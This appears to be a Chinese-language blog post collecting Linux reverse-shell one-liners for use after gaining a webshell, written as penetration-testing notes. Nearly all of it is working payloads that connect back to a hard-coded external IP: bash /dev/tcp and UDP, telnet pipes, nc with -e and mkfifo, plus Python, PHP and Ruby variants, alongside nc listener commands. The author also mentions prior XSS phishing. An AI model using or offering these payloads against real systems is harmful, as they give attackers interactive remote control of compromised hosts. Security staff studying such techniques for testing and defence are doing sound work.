題記
搞完xss釣魚一時不知道服務器還能干點什么,然后我就想到我cs搞了Windows,當然也要彈linux的shell,所以操作下linux反彈shell的命令。
在滲透測試的過程中,在拿到webshell以后,如果目標主機是Windows主機,則是 通過開3389端口在遠程連接,如果目標主機是linux服務器,一般我們都會選擇反彈 shell來進行操作。在這里總結下反彈shell常見的幾種姿勢。
准備工作
外網服務器103.234.72.5
本地Kali一台,優班圖一台。
Bash反彈
注意之前使用nc監聽端口反彈shell時都會有一個警告:Warning: forward host lookup failed for bogon: Unknown host,根據nc幫助文檔的提示加上-n參數就可以不產生這個警告了,-n參數代表在建立連接之前不對主機進行dns解析。
參考文章:
http://sohu.com/a/243607685_354899
linux反彈shell的姿勢-Avenue-le.pdf
方法一
監聽的vps使用命令:nc -nlvp 7777
被控機器使用命令:
命令1:bash -i >& /dev/tcp/103.234.72.5/7777 0>&1
命令2:bash -c 'exec bash -i &>/dev/tcp/103.234.72.5/7777 <&1'
#bash ‐i 打開一個交互的bash
# >& 將標准錯誤輸出重定向到標准輸出
#/dev/tcp/x.x.x.x/port 意為調用socket,建立socket連接,其中x.x.x.x為 要反彈到的主機ip,port為端口
# 0>&1 標准輸入重定向到標准輸出,實現你與反彈出來的shell的交互
Kali外網攻擊機
內網受害者
方法二
在使用這個進行shell反彈時,不能使用python獲取一個標准的shell,需要使用 nc再次反彈之后,使用python獲取標准化輸出。
監聽的vps使用命令:nc -nlvp 7777
被控機器使用命令:exec 5<>/dev/tcp/103.234.72.5/7777;cat <&5 | while read line; do $line 2>&5 >&5; done
方法三
命令一:exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196
命令二:/bin/bash -i > /dev/tcp/103.234.72.5/6666 0<&1 2>&1
方法四
0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196
bash UDP 反彈
nc -u -nlvp 7777
sh -i >& /dev/udp/103.234.72.5/7777 0>&1
telnet反彈
方法一
nc -nlvp 6666
nc -nlvp 7777
telnet 103.234.72.5 6666 | /bin/bash | telnet 103.234.72.5 7777
6666輸入命令7777輸出結果
方法二
mknod a p; telnet 103.234.72.5 7777 0<a | /bin/bash 1>a(不好用)
nc反彈
nc ‐e /bin/bash 103.234.72.5 7777
如果目標主機linux發行版本沒有 -e 參數,還有以下方式:
方法一
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 103.234.72.5 7777 >/tmp/f
exec 反彈
0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196
python反彈
export RHOST="103.234.72.5";export RPORT=7777;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
PHP反彈
php -r '$sock=fsockopen("103.234.72.5",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby 反彈
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("103.234.72.5","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
其他
我這里寫了一些常用的,當其他的用的時候在去深入研究。